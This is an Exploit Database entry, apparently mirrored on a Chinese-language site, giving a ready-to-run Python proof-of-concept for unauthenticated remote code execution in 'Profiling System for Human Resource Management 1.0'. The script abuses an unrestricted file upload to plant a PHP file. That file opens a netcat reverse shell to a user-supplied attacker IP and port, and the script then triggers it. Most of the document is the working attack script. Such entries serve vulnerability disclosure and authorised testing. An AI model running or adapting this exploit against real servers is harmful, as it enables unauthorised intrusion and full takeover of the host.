Profiling System for Human Resource Management 1.0 – Remote Code Execution (Unauthenticated)

Exploit Database
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作者： Christian Vierschilling

日期： 2021-03-19
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/49672/

# Exploit Title: Profiling System for Human Resource Management 1.0 - Remote Code Execution (Unauthenticated)

# Date: 19-03-2021

# Exploit Author: Christian Vierschilling

# Vendor Homepage: https://www.sourcecodester.com

# Software Link: https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html

# Software Download: https://www.sourcecodester.com/download-code?nid=11222&title=Profiling+System+For+Human+Resource+Management+using+PHP%2FPDO+with+Source+Code

# Version: 1.0

# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

#!/usr/bin/python3

import random

import sys

import requests

from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):

random_number = str(random.randint(100000000,999999999))

file_name = random_number + "shell.php"

revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)

m = MultipartEncoder(fields={'upload': '', 'per_file': (file_name, revshell_string, 'application/x-php')})

print("(+) Uploading php reverse shell file ..")

r1 = requests.post('http://{}/ProfilingSystem/add_file_query.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})

if not "Sorry, there was an error uploading your file." in r1.text:

print("(+) File uploaded to: http://{}/ProfilingSystem/uploads/{}".format(target_ip,file_name))

return file_name

else:

print("(-) Oh noes, error occured while uploading the file.. quitting!")

exit()

def trigger_shell(target_ip, target_file_name):

url = 'http://{}/ProfilingSystem/uploads/{}'.format(target_ip, target_file_name)

print("(+) Now trying to trigger our shell..")

r2 = requests.get(url)

if r2.status_code != 200:

print("(-) Oh noes, we can't reach the uploaded file.. did it upload correctly?! Quitting!")

exit()

else:

return None

def main():

if len(sys.argv) != 4:

print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])

print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])

sys.exit(-1)

print("--- Exploiting today: Profiling System for Human Resource Management 1.0 ---")

print("----------------------------------------------------------------------------")

target_ip = sys.argv[1]

attacker_ip = sys.argv[2]

attacker_port = sys.argv[3]

target_file_name = file_upload(target_ip, attacker_ip, attacker_port)

trigger_shell(target_ip, target_file_name)

print("(+) done!")

if __name__ == "__main__":

main()